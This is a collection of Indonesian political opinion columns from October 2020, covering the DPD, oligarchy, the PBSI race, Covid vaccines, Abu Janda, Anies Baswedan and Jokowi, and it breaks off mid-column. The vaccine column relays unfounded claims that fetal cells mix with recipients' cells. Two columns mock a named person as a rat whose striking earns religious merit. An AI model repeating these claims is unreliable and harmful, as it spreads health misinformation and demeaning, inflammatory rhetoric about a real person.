Berbaris di dalam satu shaf bersama Prof. Jimly Asshiddiqie untuk berjuang membebaskan para aktivis pergerakan. Mereka secara patriotik sejak masih mahasiswa telah mewakafkan dirinya demi bangsa ini. Menempuh jalan perjuangan yang dijamin oleh prinsip-prinsip demokrasi. Bagi DPD, sengkarut problem yang mendera bangsa adalah momentum membuktikan diri. Buktikan jika DPD adalah lembaga perwakilan pembawa aspirasi daerah ini, layak didaulat sebagai pengemban amanah rakyat yang sesungguhnya. Bahkan bisa tampil dalam membangun dialog dengan eksekutif. Dalam kondisi perekonomian yang jauh dari menguntungkan ini, DPD harus mendorong negara agar lebih fokus dalam melakukan pengendalian dan penanganan Covid-19. Serta menyelamatkan rakyat. Bukan sebaliknya menyesarakan rakyat. Laporan anyar Bank Dunia sudah mewanti-wanti. Sepertiga atau 90 juta penduduk Indonesia saat ini makan lebih sedikit akibat dampak ekonomi Covid-19. Fakta soal Covid-19 dan problem ekonomi serta kebutuhan mendasar rakyat itu, adalah tantangan konkret yang harus diselesaikan. Permasalahan yang tidak bisa diatasi jika situasi tidak kondusif terus dibiarkan dengan menciptakan pemantik-pemantik emosi publik yang berakar pada imajinasi jebakan masa depan yang suram. DPD dengan modalitas kepercayaan rakyat yang cenderung lebih baik, harus menjadi pelopor. Agar segala bentuk perdebatan yang tidak produktif ditinggalkan. Dahulukan anak negeri. Indonesia yang tegak sebagai Negara Kesatuan, harus bersikap mewujudkan kedaulatan. Menyusun UU berdasarkan kepentingan bangsa dan melindungi seluruh rakyat. Jangan sampai ada kesan, bila kerja-kerja yang dilakukan adalah balas budi terhadap negara donor. Sehingga ke depan, kita bukan hanya disibukkan dengan berpikir membayar angsuran pinjaman. Tetapi terancam untuk kehilangan segalanya. Kita terancam Kehilangan aset, kehilangan kemandirian. Semua itu berujung pada kehilangan harga diri dan kedaulatan sebagai bangsa. DPD RI harus segera bersikap. Bila ini dilakukan, maka DPD akan dikenang punya Nyala dan Nyali. Penulis adalah Senator DPD RI

Kekuasaan Itu Mengumpulkan Yang Jahat, Merusak Yang Baik

by Asyari Usman Medan FNN - Jumat (30/10). Penulis Amerika, Edward Abbey, mengatakan “Power is always dangerous. Power attracts the worst and corrupts the best.” (Kekuasaan selalu berbahaya. Kekuasaan itu mengumpulkan yang jahat-jahat dan merusak yang baik-baik). Tidak salah sedikit pun sinyalemen Abbey. Di negeri ini, orang-orang yang bermental dan bertujuan jahat berkumpul di sekeliling kekuasaan. Di situ ada para cukong, maling, pengusaha rakus, para politisi busuk, koruptor, dlsb. Selanjutnya, para pemegang kekuasaan merusak yang baik-baik. Orang-orang yang baik berubah menjadi penjahat. Kalau tidak menjadi penjahat, mereka berubah menjadi orang yang mendiamkan kejahatan. Kekuasaan itu sengaja menghancurkan sistem yang telah dibangun dengan bagus. Sebagai contoh, KPK yang sangat kuat dan membuat para koruptor tak berkutik, akhirnya dihancurkan oleh para penguasa. Power attracts the worst and corrupts the best. Inilah yang sedang berlangsung di Indonesia. Para cukong berkumpul di sekeliling penguasa. Para koruptor ikut membonceng. Mereka mendiktekan keinginan tentang bagaimana negara ini harus dikelola. Para penguasa legislatif dan eksekutif dikendalikan oleh oligarki cukong. Intimasi (kedekatan) penguasa-cukong inilah yang diduga kuat melahirkan Omnibus Law UU Cilaka dalam suasana yang diburu-buru. Yang sangat menyedihkan, para pemegang kekuasaan bagaikan tidak paham bahwa kerusakan yang mereka lakukan lewat tangan mereka hari ini akan menimpakan derita panjang kepada rakyat. Mereka tidak peduli. Jalan terus dengan sikap keras kepala. Inilah akibat kekuasaan dijalankan oleh orang-orang yang tidak memiliki apa-apa kecuali kebejatan. Itulah orang-orang yang hanya memikirkan kepentingan sempit dan sesaat. Tega mengorbankan bangsa sendiri. Praktik pengelolaan negara seperti yang kita saksikan saat ini hampir pasti akan membuat Indonesia lemah dan terpuruk terus-menerus. Negara ini akan tertinggal dari negara-negara lain. Sangat mungkin akan mengalami krisis multidimensional akut dan tanpa henti. Seharusnya, di tangan orang-orang yang mengerti dan punya visi tentang masa depan bangsa, Indonesia sangat pantas menjadi negara besar yang dihormati. Indonesia semestinya sudah dekat menjadi negera yang memiliki keunggulan di segala bidang. Namun, karena kekuasaan dieksekusi oleh orang-orang dungu yang didukung oleh kaum tolol, habislah negara ini dirampas. Rakyat ditindas. Hari ini kita tidak bisa memperkirakan apakah perampasan akan berakhir. Sangat mungkin para cukong telah menyiapkan ‘road map’ (denah) untuk mencengkeram negara ini terus-menerus. Dengan skenerio yang ‘smart’, rapi . Sangat logis bahwa mereka, para cukong itu, sudah menyiapkan cara pembungkaman rakyat tanpa batas waktu. Sekali kekuasaan ada di tangan mereka, pastilah akan mereka pertahankan mati-matian. Tidak mungkin mereka akan menyerahkan kekuasaan yang telah mereka genggam saat ini. Novelis dan kritikus sosial Inggris, George Orwell (nama asli Eric Arthur Blair) menyimpulkan tentang genggaman kekuasaan. Dia mengatakan (1984), “We know that no one ever seizes power with the intention to relinquish it.” (Belum pernah ada orang yang merebut kekuasaan dengan tujuan untuk melepaskannya). Kita akhiri saja dengan satu pertanyaan fundamental: siapakah yang akan dan mampu merebut kembali kekuasaan dari tangan para cukong jahat itu? Wallahu a’lam. Yang jelas, itu tidak mudah dilakukan. Sebab, oligarki cukong berkolaborasi dengan banyak kekuatan politik dan individu-individu kotor yang mengendalikan “hardware” di sini.[] Penulis adalah Wartawan Senior FNN.co.id.

Jangan Ada 'Boneka' di PBSI

by Rahmi Aries Nova Jakarta FNN - Jumat (30/10). SETELAH Kepala Staf Kepresidenan Moeldoko gagal diendorse Djarum lewat atlet-atlet legendanya, kabarnya Djarum memindahkan dukungannya kepada Ketua Pengrov PBSI Banten Ari Wibowo. Ari mengklaim sudah bertemu (secara virtual) dengan Victor Hartono, putra mahkota Djarum, yang selama ini terjun langsung mengurus bulutangkis.Artinya Ari siap head to head dengan Ketua Badan Pemeriksa Keuangan (BPK) Agung Firman Sampurna. Sayangnya dukungan Djarum tak menggoyahkan keputusan 29 Pengda pemilik hak suara yang sudah komit memberikan dukungannya pada Agung. Sebaliknya Ari mengaku langkahnya ke Munas PBSI 2020 pada 5-6 November di JHL Hotel, Serpong, mulai diganjal karena dari dukungan 10 pengda (syarat minimal dukungan) yang ia serahkan ke panitia penjaringan, ada yang terindikasi ganda. Dengan begitu, suara ganda tersebut bakal dibatalkan dan Ari sudah dipastikan gugur karena tidak memenuhi persyaratan. Artinya peluang Ari untuk lolos dari tim penjaringan sudah sangat tipis. Kekhawatiran ini memang sudah dirasakan Ari sejak memutuskan untuk siap maju sebagai caketum PP PBSI. Sementara di kubu pendukung Agung justru khawatir jika Ari hanya akan jadi 'boneka' Djarum jika ia terpilih. Padahal saat ini PBSI membutuhkan kepemimpinan yang lebih mandiri tidak bergantung pada individu atau satu klub tertentu. PBSI milik bersama bukan cuma pengda atau klub di Jawa saja. Ketua Umum terpilih harus mampu merangkul semua stake holder bulutangkis termasuk Djarum dan Victor, yang loyalitas dan kontribusinya pada bulutangkis tidak diragukan lagi. Dan jika Agung melaju ke Munas tanpa lawan artinya tradisi pemilihan Ketua Umum PBSI secara aklamasi kembali berlanjut. Di era Presiden Soeharto PBSI dan PSSI termasuk cabang olahraga yang ketua umumnya harus 'didroping' dari Istana. Mengingat keduanya adalah cabang terpenting di tanah air. Bulutangkis sebagai cabang yang paling berprestasi dan sepakbola cabang yang paling banyak penggemarnya alias cabang favorit. Keengganan Moeldoko bisa jadi isyarat restu dari istana pada Agung yang merupakan pimpinan tertinggi lembaga negara. Jadi, daripada Ari dan pendukungnya melempar isu tentang penjegalan, lebih baik melempar ide dan usulan bagaimana mempertahankan tradisi juara di PBSI. Ketua selalu berganti, tapi tradisi juara tak boleh mati. Karena bulutangkis adalah 'takdir' negeri ini. Penulis adalah Wartawan Senior FNN.co.id.

Vaksin Janin Ditolak Tiga Uskup Australia

by Mohammd Toha Surabaya FNN – Kamis (29/10). Dalam tulisannya disebutkan bahwa Gereja saja menolak Vaksin Corona. Sebab salah satu bahan pengembang biaknya menggunakan janin manusia yang diaborsi. Bagaimana ini dengan Rakyat Indonesia yang 85% penduduknya Muslim? Bagaimana Mejelis Ulama Indonesia (MUI), Nahdatul Ulama dan Muhammadiyah? Penjelasannya adalah, janin manusia itu diaborsi secara sukarela oleh Ibunya. Yang menjadi masalah di sini bukan soal Ibunya sukarela atau dipaksa waktu mengakhiri kehamilannya dan menyerahkan bakal bayinya untuk digunting-gunting. “Memikirkan prosesnya saja bikin perut saya mulas dan hati serasa pecah berkeping,” ujar Dokter Tifauzia. Bukannya yang punya kehidupan adalah janin itu sendiri? Ditanya apa tidak dia, waktu mau dikeluarkan dari dalam rahim ibunya? Ikhlas apa tidak dia diaborsi demi kepentingan (bisnis) vaksin? Dalam beberapa penelitian, bagian janin yang digunakan adalah sel ginjal dan sel parenkim paru. “Kalau sudah terjadi organogenesis berarti usia janin itu lebih dari 120 hari dong,” tegasnya. Bagaimana Sumpah Dokter? Apakah seorang janin yang sudah ditiupkan ruh, yang jantung kecilnya sudah berdetak, atas nama kemanusiaan atau apapun itu, berhak untuk dihentikan kesempatan hidupnya? Sedangkan dia sama sekali tidak memiliki hak untuk jawab? Sekarang dari sisi manusia penerima vaksin. Ketika terjadi penerimaan vaksin, yang artinya juga menerima bagian dari sel janin yang diaborsi tadi, apakah tidak terjadi breeding antar sel? Apalagi itu akan menghasilkan konsekuensi yang sangat besar. Tak hanya sekedar bahwa manusia lain, dengan adanya vaksin ini, mendapatkan kesempatan hidup yang lebih besar. Tetapi juga ada tambahan sel baru. Sel yang berasal dari sel manusia lain, dengan segala kemungkinannya. Siapa yang bisa menjamin, segala pengorbanan ini akan memberikan hasil sesuai dengan yang dimaui manusia? Bahwa dengan vaksin yang isinya entah itu bayi, entah itu babi, kita menjamin bahwa coronavirus akan enyah selama-lamanya dari muka bumi? Bukankah, ketika bermain-main di area yang bukan wilayah kita, pada saat kita sedang playing God? Kok serasa pada menjadi Tuhan saja semua orang ini. “Saya, terus terang, cuma takut Azab saja. Masalah adalah kalau Azab-Nya datang, kita-kita yang ngga punya salah apa-apa, ikut kena akibatnya juga,” ujar Dokter Tifauzia mengakhiri tulisannya. Pendekatan Moral Sebelmnya diberitakan, tiga Uskup senior Australia mengkritik keras vaksin COVID-19 buatan Universitas Oxford, Inggris dan perusahaan farmasi AstraZeneca. Sebab vaksin yang diprokduksi memiliki masalah etis, karena terbuat dari sel-sel janin yang sengaja digugurkan. WowKeren 26 Agustus 2020 menulis, Universitas Oxford, bersama perusahaan farmasi AstraZeneca tengah mengembangkan vaksin untuk virus corona (Covid-19). Vaksin tersebut telah dipesan oleh Pemerintah Australia. Sayangnya, vaksin tersebut justru menuai kritikan keras dari tiga Uskup senior Australia, lantaran memiliki masalah etis karena terbuat dari sel-sel janin yang sengaja digugurkan. Pemerintah Australia Senin (24/8/2020) mengatakan, komunitas keagamaan tak perlu risau, karena tak ada masalah etis terkait vaksin yang sudah dipesan 25 juta dosis itu. Vaksin Covid-19 milik AstraZeneca saat ini menjadi kandidat paling siap untuk diproduksi dan jadi rebutan banyak negara. Dalam proses pengembangannya itu, mereka menggunakan sel-sel ginjal janin yang sengaja digugurkan. Konon, praktik seperti itu sudah biasa dilakukan dalam dunia medis. Tetapi, pada Kamis (20/8/2020), Uskup Agung Gereja Anglikan, Glenn Davies, Uskup Agung Sidney (Katolik), Anthony Fisher, dan pemimpin Gereja Ortodoks Yunani Australia, Uskup Makarios Griniezakis menyatakan keberatannya terkait vaksin Covid-19 AstraZeneca. Ketiga Uskup tersebut mengirim surat kepada Perdana Menteri (PM) Australia Scott Morrison. Para uskup itu mengatakan, mereka mendukung adanya vaksin Covid-19, tetapi penggunaan “sel-sel janin sesungguhnya adalah sesuatu yang sangat tidak bermoral.” Meski tidak mengajak umat mereka masing-masing untuk memboikot vaksin AstraZeneca tersebut. Para uskup itu mengatakan bahwa umat berhak untuk menolak menggunakan vaksin tersebut. Bahkan jika mereka tak punya pilihan lain. Uskup Fisher bahkan menulis di akun Facebooknya soal masalah ini. Fisher menyatakan, vaksin Covid-19 dari Oxford itu menimbulkan apa yang disebutnya sebagai dilema etis. Menurut Deputi Kepala Kantor Kesehatan Australia Nick Coatsworth, kekhawatiran gereja itu tak bisa diabaikan. Tetapi disaat yang sama, dia menegaskan bahwa pengembangan vaksin memang membutuhkan kultur sel. “Sel-sel manusia sangat penting dalam pengembangan vaksin. Regulasi etis di sekitar penggunaan sel-sel manusia sangat ketat, terutama terkait sel janin manusia. Yang mengembangkan vaksin ini adalah unit penelitian di Universitas Oxford yang sangat terkemuka. Jadi menurut saya, kita bisa percaya pada cara mereka mengembangkan vaksin tersebut,” ungkap Nick. Menurut Robert Booy, pakar vaksin dari University of Sidney, penggunaan sel-sel janin yang digugurkan sudah biasa dalam pengembangan vaksin selama 50 tahun terakhir. Gereja tak pernah permasalahkan ini karena jarak yang sangat jauh antara penggunaan sel-sel janin dengan vaksin yang sudah rampung. Praktik ini sudah diterapkan sejak mengembangkan vaksin untuk Rubella, Hepatitis A, dan Cacar Air. “Sel-sel janin bisa melakukan 50 replikasi. Sementara sel-sel yang lebih tua lebih sedikit replikasinya. Jadi, untuk memproduksi vaksin, virus harus dibiakkan di dalam sel janin berkali-kali dan kemudian dipanen,” jelasnya. Kelak, elemen-elemen manusianya akan dibersihkan, dan yang digunakan hanya elemen virusnya saja. Artinya tidak ada DNA manusia lagi dalam vaksin yang sudah jadi. Diberitkan, PM Australia secara resmi telah memesan 25 juta dosis vaksin Covid-19 ke AstraZeneca. Rencananya vaksin-vaksin itu akan diberikan secara gratis kepada rakyatnya. Sementara Presiden Donal Trump yang sempat terpapar corona dengan pengobatan “sangat ampuh dan manjur”, yang disebutnya sebagai “berkah dari Tuhan”. Hanya beberapa hari kemudian Trump sudah kembali ke Gedung Putih. Seperti dikutip 24berita.com, Selasa (Oktober 13, 2020 610), obat eksperimental antibodi itu, dengan atau tanpa berkat tuhan, sejatinya adalah obat yang diberi nama REGN-COV2. Obat ini buatan perusahaan bioteknologi Regeneron di AS. Perusahaan itu sebelumnya mengajukan ijin penggunaan darurat kepada jawatan pengawasan obat dan makanan AS-FDA. Ternyata yang dipakai itu adalah obat berbasis jaringan sel janin manusia. Preparat eksperimental tersebut adalah kombinasi dan antibodi monoklonal REGN10933 dan REGN10987. Obat yang diberi nama REGN-COV2 itu berfungi sebagai imunisasi pasif, dengan unsur aktif yang dibuat secara sintetis dari antibodi yang dinetralkan. Dalam prosesnya, langsung maupun tidak langsung, digunakan jaringan sel yang berasal dari embrio alias janin manusia. Obat REGN-COV2 memang tidak langsung dibuat dari jaringan sel janin manusia. Mula-mula preparatnya dibuat dari sel yang berasal dari saluran indung telur hamster. Tetapi, untuk menguji keampuhan antibodi tersebut, dalam tes laboratorium digunakan jaringan sel yang berasal dari janin manusia yang digugurkan. Sel yang diberi nama ilmiah HEK 293T itu, berasal dari jaringan sel ginjal janin manusia yang digugurkan di Belanda pada 1970-an. Regeneron manfaatkan HEK 293T untuk produksi apa yang disebut pseudopartikel virus, yakni struktur seperti virus yang memiliki protein duri seperti pada virus corona. Hanya dengan cara dan prosedur semacam itu, bisa diketahui tingkat efektivitas antibodi dalam menyerang masing-masing virus. Apakah vaksin yang bakal dipakai di Indonesia itu juga berasal dari janin manusia? Wajar jika Dokter Tifauzia Tyassuma mengingatkan kita semua! Penulis adalah Wartawan Senior FNN.co.id

Abu Janda Ngoceh Lagi, Bela Marcon

by M. Rizal Fadillah Jakarta FNN – Kamis (29/10). Lama Abu Janda tidak muncul di media. Tokoh "super" pegiat medsos ini hilang di tengah iklim politik panas yang semestinya bisa jadi ladang ocehannya. Ada penolakan masih terhadap Undang-Undang Omnibus Law Cipta Kerja (Cilaka) yang didemo intens. Ada petinggi Koalisi Aksi Menyelamatkan Indonesia (KAMI) yang ditangkap. Nah sekarang, pada saat ada kasus penghinaan terhadap Nabi Muhammad Salallahu Alaihi Wasallam di Perancis Abu Janda muncul lagi. Sambil demonstratif makan di restauran makanan Perancis, Permadi Arya berpetuah agar umat Islam memaafkan penghina Nabi. Apakah mau membela Emmanuel Macron Presiden Prancis atau sang guru penghina yang dipenggal? Tentu saja Macron. Sebab yang terakhir sudah mati. Urusannya hanya dengan Allah saja di alam yang dipastikan mengejutkan dirinya. Ada dua kesalahan dari ocehan sang asbun, yang pro pembela penghina Nabi ini. Pertama, bahwa Presiden Perancis Emmanuel Macron tidak meminta maaf kepada umat Islam. Lalu apa yang mau dimaafkan ? Kedua, penghinaan bukan dilakukan kepada diri Nabi pribadi yang sudah tiada. Tetapi kepada ajaran Nabi. Kepada agama Islam. Umat Islam tentu tersakiti karena Nabinya dihina dengan sengaja, dan agama-Nya dinistakan. Dalam sejarah, hal ini bisa berujung pada hukuman mati atau perang terhadap pelaku penghinaan. Abu Janda seperti yang tidak merasa sakit, bahkan dengan akting sinis ngoceh agar umat Islam memaafkan. Umat Islam model apakah Abu Janda? Umat Islam sudah lama tidak jengkel atas ulah Abu Janda. Selama ini orang dengan nama asli Permadi Arya ini hilang tidak muncul lagi. Su'udhonnya Abu Janda kena corona atau dimakan buaya. Eh, tiba-tiba muncul berada di blok Perancis sang penghina Nabi. Dia rupanya sangat bahagia bisa memukul lebih sakit perasaan umat Islam. Arya seperti bela Macron. Momen untuk mengejek umat Islam yang dianggap tidak menghormati kebebasan pendapat. Perancis adalah perintis "Liberte, Egalite, Fraternite". Abu Janda menantang umat Islam dengan berada di ruang Perancis, layaknya bersaudara dengan Macron. Masuk dalam kelompok yang sama-sama sefaham yang bebas moral. Abu Janda tentu tidak khawatir ngoceh apapun yang menyinggung umat Islam dan Nabinya. Karena mungkin menganggap ada yang menjadi pelindung. Mumpung negeri ini sedang berpihak pada para penyembah berhala, yang tidak suka pada nafas Tauhid. Bendera merah tengkorak lebih ditoleransi daripada bendera Tauhid. Negeri yang lebih nyaman bagi fikiran, sikap, ideologi, maupun kultur kebebasan berpendapat. Kaumnya Abu Janda ketimbang para pembela agama. Negerinya para tikus. Les rats dangeroux pour l'homme. Muncul abu Janda bagaikan "whack a mole game". Jika si tikus nongol maka palu pemukul siap memukulnya. "Whack a mole game" adalah permainan mendera tikus tanah. Muncul si tikus dan memukulnya membuat tambahan nilai. Pahala dalam bahasa agamanya. Penulis adalah Pemerhati Politik dan Tikus.

Tiga Tahun Dipimpin Anies, Jakarta Telah Berubah

by Tony Rosyid Jakarta FNN – Kamis (29/10). Gubernur Indonesia, begitu rakyat negeri ini menjuluki Gubernur DKI Anies Baswedan. Lahirnya julukan ini menunjukkan bahwa Anies diterima tidak saja oleh warga Jakarta. Tetapi juga diterima oleh rakyat Indonesia. Lima tahun, itu jatah untuk Anies memimpin Jakarta. Artinya, ada tersisa dua tahun lagi. Jabatan Anies akan berakhir pada Oktober 2022. Dan bisa diperpanjang jika ada pilkada pada 2022 nanti. Untuk mengukur kinerja Anies, mesti berangkat dari tiga hal. Pertama, visi Anies. Kedua, janji-janji Anies ketika kampanye Pilgub dulu . Ketiga, tingkat kepuasan warga atas pelayanan dan perubahan yang dilakukan Anies untuk Jakarta. Visi Jakarta di bawah kepemimpinan Anies adalah "Maju Kotanya Bahagia Warganya". Visi ini juga sekaligus menjadi tageline. Visi yang mencakup tidak saja infrastruktur kota. Tetapi juga menggarap aspek psikologi warga. Untuk membuat maju kotanya, pembangunan infrastruktur menjadi keniscayaan. Pelebaran jalan, memperbaiki trotoar, memperbanyak taman. Ini pekerjaan yang lumrah saja. Toh, hampir semua kepala daerah melakukan pembangunan infrastruktur. Yang membedakan adalah seberapa besar fungsinya. Trotoar misalnya, kita bisa lihat setiap kota ada. Dibongkar lalu dibangun kembali, atau setidaknya ditambah dan dicat ulang. Kalau hanya ini yang dilakukan, berarti itu proyek menghabiskan anggaran. Terhadap trotoar di Jakarta, Anies melakukan pelebaran. Dalam kondisi lebar, trotoar benar-benar akan berfungsi dan membuat nyaman bagi para pengguna jalan. Tidak asal ada sebagai asesoris kota. Di kota-kota maju seperti di Amerika, Eropa, bahkan Jepang, Korea, Hongkong dan Sungapora, setiap hari banyak orang jalan kaki ke stasiun MRT, terminal dan public service yang jaraknya bisa 500 meter hingga 1 kilometer. Kok bisa? Karena tempat untuk jalan kaki lebar dan nyaman. Anies juga membangun jalur bersepeda. Untuk keperluan transportasi ke depan, diharapkan warga DKI lebih banyak yang naik sepeda. Baik ke kantor maupun urusan bisnis. Dengan begitu, polusi udara dan kemacetan bisa diminimalisir. Untuk itu, Pemprov DKI harus terus menerus dan lebih masif lagi kampanyekan sepeda. Untuk urusan transportasi, DKI menerapkan program Jaklingko. Satu tiket bisa digunakan untuk naik sejumlah kendaraan. Cuma dengan 5.000 rupiah anda setiap hari bisa keliling Jakarta menggunakan MRT, busway dan angkot. Tanpa kena biaya tambahan. Selain ganjil genap, program Jaklingko terbukti telah berhasil mengurangi tingkat kemacetan Jakarta. Pengguna public transportation yang semula hanya 360.000-an orang, kini naik menjadi lebih dari satu juta penumpang. Peningkatan yang hampir mencapai 200%. Pada tahun 2017, Jakarta masuk peringkat ke-4 kota termacet dunia. Tahun 2018 menjadi peringkat ke-7. Dan tahun 2019 menjadi peringkat ke-10 dunia. Kapan Jakarta keluar dari peringkat 10 besar kota termacet dunia? Ini yang menjadi PR bagi Anies. Kalau cuma naik angkot gratis saja, gampang bangat. Asal ada tulisan Jaklingko. Anda cuma butuh modal kartu e-toll atau kartu sejenis. Kasih kartu itu ke sopir, tempel di mesin Jaklingko, nol rupiah. Alias gratis. Saya sudah pernah merasakan ini. Selain ankot gratis, DKI juga telah berhasil menyulap Jalan Soedirman-MH. Thamrin manjadi semacam destinasi. Di ruas jalan itu, ada nuansa yang agak berbeda. Disitu, anda seperti tidak sedang berada di Indonesia. Tertata rapi, indah dan artistik. Selain infrastruktur jalan, beberapa waktu lagi, Jakarta akan punya stadion bertaraf internasional. Sekelas Real Madrid dan Barcelona. Proses pembangunannya sedang dikerjakan. Rencananya akan selesai tahun depan. Jika stadion ini jadi sebelum berakhirnya masa jabatan Anies, ini jadi poin. Ada juga masjid terapung dan museum Rasulullah di Ancol. Teringat masjid terapung di Jeddah dan museum Rasulullah di Turki. Alhamdulillah, di kedua tempat itu saya pernah berkunjung. Dari sejumlah infrastruktur yang dibangun di DKI, nampak perencanaan kota yang sengaja dibangun dengan orientasi kerakyatan. Artinya, punya dampak perilaku, mental dan psikologis bagi warga Jakarta. Mungkin ini sengaja dibuat agar visi Jakarta "Maju Kotanya Bahagia Warganya" bisa dicapai. Terkait soal pandemi covid-19, publik tahu bahwa Jakarta yang paling awal siaga. Sebanyak 48% rakyat yang mendapatkan tes PCR nasional adalah warga DKI. Sisanya 52% lagi dibagi di 33 provinsi. Tingkat kematian (mortality) sangat rendah. Hanya 2,8%. Lebih rendah dari mortality global, yaitu 3,3%. Ini bentuk nyata kesiagaan Gubernur dalam menghadapi pandemi. Di tengah pelajar dan mahasiswa yang kuliah dengan sistem wibiner, dimana kebutuhan Internet sangat tinggi, DKI membuat program JakWifi. DKI melakukan lemasangan Wifi di 9.413 titik. Program ini untuk membantu masyarakat, terutama mahasiswa dan pelajar, juga UMKM dan untuk kebutuhan produktif masyarakat yang lainnya. Di tengah pandemi, Wifi gratis di DKI ini bisa jadi malaikat penolong, khususnya untuk mahasiswa dan pelajar yang miskin. Di luar program-program itu, Anies masih berhutang 23 janji kampanye. Janji tetap janji. Tak ada alasan untuk diingkari. Anies memastikan 23 janji akan selesai di 2022. Rakyat harus terus mengingatkan, mengawasi, mengevaluasi dan ikut memastikan bahwa 23 janji Anies itu seluruhnya bisa tertunaikan. Tak satupun yang boleh dilewatkan. Bagaimana dengan janji-janji kampenye presiden dan para kepala daerah yang lain? Bagaimana dengan janji anggota DPR dan DPRD? Itu tugas anda menagihnya. Tiga tahun memimpin Ibu Kota, Jakarta mendapat WTP berturut-turut dari BPK. Ini bukti adanya clean governon dan good goverment. Tiga piala dari KPK terhadap DKI semakin menegaskan bahwa DKI adalah kota bebas korupsi. Ini soal integritas seorang pemimpin. Tersisa dua tahun lagi. Rakyat berharap Anies istiqamah. Konsisten dengan program-program yang berorientasi pada warga DKI. Melihat semua kebijakan Anies, terlihat ada kepastian soal komitmennya kepada rakyat. Jika Anies konsisten atas komitmen ini, pilpres 2024 bisa menguntungkan baginya. Lima tahun akan jadi catatan sepanjang sejarah Indonesia bagaimana Anies memimpin ibukota. Kelak, 100 tahun lagi, atau bahkan ribuan tahun lagi, rakyat akan membaca catatan itu. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Cara Abu Janda Mendapatkan Jalan-jalan Gratis ke Prancis

by Asyari Usman Jakarta FNN - Kamis (29/10). Teman saya, M Rizal Fadillah, menulis tentang kemunculan tiba-tiba Permadi Arya alias Abu Janda setelah lama tak kedengaran berceloteh. Padahal, kata Bung Rizal, akhir-akhir ini suasana politik cukup panas gara-gara Omnibus Law (OBL) dan kehadiran Koalisi Aksi Menyelamatkan Indonesia (KAMI). Eh, sekali muncul, Abu membuat video di restoran Prancis di Indonesia. Di dalam video itu, Abu memesan makanan Prancis. Abu mengatakan, dia tidak memboikot produk Prancis. Tak lupa, dia mengajak umat Islam Indonesia agar memaafkan orang-orang yang menghina Nabi Muhammad SAW. Nah, kok sekali muncul lagi langsung Abu Janda memihak ke Presiden Emmanuel Macron yang belum lama ini mengatakan agama Islam sedang dalam krisis? Saya coba bantu Bung Rizal mendapatkan jawaban mengapa Abu itu tiba-tiba muncul di resto Prancis. Saya menduga, Abu Janda menghilang selama kisruh OBL karena ada yang tak lancar. Mungkin tersendat. Karena macet, dia malas tampil membela OBL. Atau, bisa jadi juga dia takut dikejar-kejar kaum buruh dan mahasiswa. Pas ada penghinaan Islam oleh Macron, si Abu melihat peluang bagus. Ada celah untuk diundang jalan-jalan gratis ke Prancis. Sebab, Prancis saat ini sedang mencari sebanyak mungkin teman orang Islam. Karana umat Islam di seluruh dunia sedang memboikot Prancis. Abu Janda membaca gelagat itu. Kebetulan Abu Janda itu “orang Islam juga”. Orang Islam yang cocok dengan Charlie Hebdo --majalah mingguan yang rutin menerbitkan karikatur penghinaan terhadap Nabi Muhammad. Kemarin ‘kan cuma di resto Prancis yang ada di Indonesia. Entah kapan-kapan nanti, Abu bisa masuk resto Prancis asli di Paris. Disponsori oleh pemerintah Prancis. Lumayan ‘kan? Tentulah mantap. Apalagi nanti bisa selfie dengan Macron bersama isterinya. Bisa menandingi selfie Jokowi dengan Macron tempo hari. Apakah Abu Janda tidak merasa tersakiti oleh penghinaan Macron dan Charlie Hebdo terhadap Islam dan Nabi SAW? Kelihatannya tidak. Dia tidak seperti umat Islam pada umumnya. Dia tidak lagi punya sensitivitas penghinaan terhadap Islam, Nabi, Quran, dan simbol-simbol lainnya. Tapi, mengapa Abu menjadi tak sensitif? Pertama, mungkin karena Abu Janda itu “orang Islam juga”. Kedua, mungkin Abu Janda mengikuti akidah Islam Nusantara. Boleh jadi dia punya nabi sendiri, Nabi Nusantara. Sehingga, penghinaan terhadap Nabi Muhammad tidak masalah bagi dia. Bisa jadi pula Abu sudah sempat ikut program imunisasi penistaan agama semasa kasus Ahok dulu. Yang membuat dia tak terganggu lagi oleh penistaan agama Islam. Bahkan, waktu itu, dia membela Ahok habis-habisan. Imunisasi penistaan agama itu membuat Abu Janda menjadi sangat kebal ketika ada penghinaan terhadap Islam. Saking kuatnya vaksin yang disuntikkan ke otak Abu Janda, dia malah berbalik mengatakan penistaan bukan penistaan, penghinaan bukan penghinaan. Jadi, begitu Bung Rizal. Tak heran kalau Abu Janda tiba-tiba muncul di resto Prancis di Indonesia sambil membela Prancis, Macron dan Charlie Hebdo.[] Penulis adalah Wartawan Senior FNN.co.id

Jokowi Jadi Wapresnya Airlangga Hartarto 2024?

by M. Rizal Fadillah Bandung FNN – Kamis (29/10). Ini usulan nyeleneh kader dan petinggi Golkar Leo Nababan untuk Pilpres 2024, yaitu Airlangga sebagi Calon Presiden (Capres) dan Calon Wakil Presiden (Cawapre) adalah Jokowi. Usulan yang "out the box" ini memang menggelikan. Bahkan bisa membuat tertawa terbahak-bahak sampai mati. Bisa dibilang mati ketawa ala Indonesia. Leo Nababan berharap kemudiannya Jokowi maju kembali sebagai Capres. Tujuanya untuk mengawal pembangunan agar bisa terlaksana hingga tahun 2045. Keberadaan sebagai Cawapres ini hanya untuk menerobos dan mengakali aturan yang tidak lagi membolehkan untuk menjabat sebagai Presiden lebih dari dua kali berturut turut. Karena Jokowi untuk menjadi Capres lagi setelah 2024 memang tidak dibolehkan. Namun untuk menjadi Cawapres masih dibolehkan. Maka celah inilah yang dilihat oleh Leo Nababan untuk mendorong kembali Jokowi setelah tahun 2024 nanti. Semua boleh, kecuali ada larangan. Sama seperti anak dan mantu Jokiwi yang maju sebagai calon Walikota Solo dan Medan. Meskipun kapasitas dan kapabiltas dari anak Gobran Rakabuming, dan mantu Bobby Nasution diragukan dan dipertanyakan. Namun karena tidak ada aturan yang dilanggar, jadinya boleh-boleh saja. Apalagi ada sejumlah Partai Politik yang berebutan untuk mendukung Gibran dan Bobby. Aneh cara berfikir politisi Golkar ini. Kalkulasi politik yang pragmatik, amatiran dan picisan hanya untuk menjilat Jokowi. Kadang juga salah baca, seolah-olah Jokowi itu tokoh karismatik. Bacaan rakyat banyak, Jokowi justru gagal dalam memimpin bangsa ini sekarang. Terlebih dan nyata itu pada periode kedua dari kepemimpinan Jokiwi. Sehingga siapapun yang menggandeng Jokowi dipastikan bakal rontok. Kalau nggak percaya, lihat saja hasil survei Litbang Kompas, media pendukung utama Jokowi. Begitu juga dengan hasil survei indikator politik, milik Burhanudin Muhtadi, salah satu lembaga survei pendukung utama Jokowi. Rontoh tingkat kepuasan publik kepada Jokowi 